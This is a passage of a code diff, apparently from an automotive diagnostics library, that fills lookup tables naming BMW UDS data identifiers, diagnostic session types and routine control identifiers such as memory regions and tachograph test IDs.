"safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa0a] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa0b] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa0c] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa0d] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa0e] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa0f] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa10] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa11] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa12] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa13] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa14] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa15] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa16] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa17] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa18] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa19] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa1a] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa1b] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa1c] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa1d] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa1e] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa1f] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa20] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa21] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa22] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa23] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa24] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa25] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa26] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa27] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa28] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa29] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa2a] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa2b] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa2c] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa2d] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa2e] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa2f] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa30] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa31] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa32] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa33] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa34] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa35] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa36] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa37] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa38] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa39] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa3a] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa3b] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa3c] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa3d] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa3e] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa3f] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa40] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa41] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa42] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa43] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa44] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa45] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa46] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa47] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa48] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa49] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa4a] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa4b] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa4c] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa4d] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa4e] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa4f] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa50] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa51] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa52] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa53] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa54] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa55] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa56] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa57] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa58] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa59] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa5a] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa5b] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa5c] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa5d] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa5e] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa5f] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa60] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa61] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa62] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa63] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa64] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa65] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa66] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa67] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa68] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa69] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa6a] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa6b] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa6c] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa6d] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa6e] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa6f] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa70] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa71] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa72] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa73] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa74] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa75] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa76] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa77] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa78] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa79] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa7a] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa7b] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa7c] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa7d] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa7e] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa7f] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa80] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa81] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa82] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa83] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa84] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa85] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa86] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa87] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa88] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa89] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa8a] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa8b] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa8c] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa8d] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa8e] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa8f] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa90] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa91] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa92] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa93] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa94] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa95] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa96] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa97] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa98] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa99] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa9a] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa9b] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa9c] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa9d] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa9e] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfa9f] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaa0] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaa1] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaa2] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaa3] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaa4] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaa5] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaa6] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaa7] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaa8] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaa9] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaaa] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaab] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaac] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaad] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaae] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaaf] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfab0] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfab1] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfab2] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfab3] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfab4] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfab5] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfab6] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfab7] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfab8] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfab9] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaba] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfabb] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfabc] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfabd] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfabe] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfabf] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfac0] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfac1] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfac2] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfac3] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfac4] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfac5] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfac6] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfac7] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfac8] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfac9] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaca] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfacb] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfacc] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfacd] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xface] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfacf] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfad0] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfad1] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfad2] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfad3] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfad4] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfad5] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfad6] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfad7] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfad8] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfad9] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfada] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfadb] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfadc] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfadd] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfade] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfadf] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfae0] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfae1] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfae2] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfae3] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfae4] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfae5] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfae6] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfae7] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfae8] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfae9] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaea] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaeb] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaec] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaed] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaee] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaef] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaf0] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaf1] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaf2] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaf3] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaf4] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaf5] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaf6] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaf7] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaf8] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaf9] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfafa] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfafb] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfafc] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfafd] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfafe] = "safetySystemPIds_FA00_FAFF" +UDS_RDBI.dataIdentifiers[0xfaff] = "safetySystemPIds_FA00_FAFF" + +UDS_DSC.diagnosticSessionTypes[0x81] = "defaultMode-StandardDiagnosticMode-OBDIIMode" # noqa E501 +UDS_DSC.diagnosticSessionTypes[0x82] = "periodicTransmissions" +UDS_DSC.diagnosticSessionTypes[0x83] = "BMW_NOTtoBeImplemented_endOfLineVehicleManufacturerMode" # noqa E501 +UDS_DSC.diagnosticSessionTypes[0x84] = "endOfLineSystemSupplierMode" +UDS_DSC.diagnosticSessionTypes[0x85] = "ECUProgrammingMode" +UDS_DSC.diagnosticSessionTypes[0x86] = "ECUDevelopmentMode" +UDS_DSC.diagnosticSessionTypes[0x87] = "ECUAdjustmentMode" +UDS_DSC.diagnosticSessionTypes[0x88] = "ECUVariantCodingMode" +UDS_DSC.diagnosticSessionTypes[0x89] = "BMW_ECUsafetyMode" + +UDS_IOCBI.dataIdentifiers = UDS_RDBI.dataIdentifiers + +UDS_RC.routineControlIdentifiers[0x0000] = "BMW_linearAddressRange" +UDS_RC.routineControlIdentifiers[0x0001] = "BMW_ROM_EPROM_internal" +UDS_RC.routineControlIdentifiers[0x0002] = "BMW_ROM_EPROM_external" +UDS_RC.routineControlIdentifiers[0x0003] = "BMW_NVRAM_characteristicZones_DTCmemory" # noqa E501 +UDS_RC.routineControlIdentifiers[0x0004] = "BMW_RAM_internal_shortMOV" +UDS_RC.routineControlIdentifiers[0x0005] = "BMW_RAM_external_xDataMOV" +UDS_RC.routineControlIdentifiers[0x0006] = "BMW_flashEPROM_internal" +UDS_RC.routineControlIdentifiers[0x0007] = "BMW_UIFmemory" +UDS_RC.routineControlIdentifiers[0x0008] = "BMW_vehicleOrderDataMemory" +UDS_RC.routineControlIdentifiers[0x0009] = "BMW_flashEPROM_external" +UDS_RC.routineControlIdentifiers[0x000b] = "BMW_RAM_internal_longMOVatRegister" +UDS_RC.routineControlIdentifiers[0x0100] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0101] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0102] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0103] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0104] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0105] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0106] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0107] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0108] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0109] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x010a] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x010b] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x010c] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x010d] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x010e] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x010f] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0110] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0111] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0112] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0113] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0114] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0115] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0116] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0117] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0118] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0119] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x011a] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x011b] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x011c] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x011d] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x011e] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x011f] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0120] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0121] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0122] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0123] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0124] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0125] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0126] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0127] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0128] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0129] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x012a] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x012b] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x012c] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x012d] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x012e] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x012f] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0130] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0131] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0132] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0133] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0134] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0135] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0136] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0137] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0138] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0139] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x013a] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x013b] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x013c] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x013d] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x013e] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x013f] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0140] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0141] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0142] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0143] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0144] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0145] = "tachographTestIds_0100_01FF" +UDS_RC.routineControlIdentifiers[0x0146] = "tachographTestIds_0100_01FF" 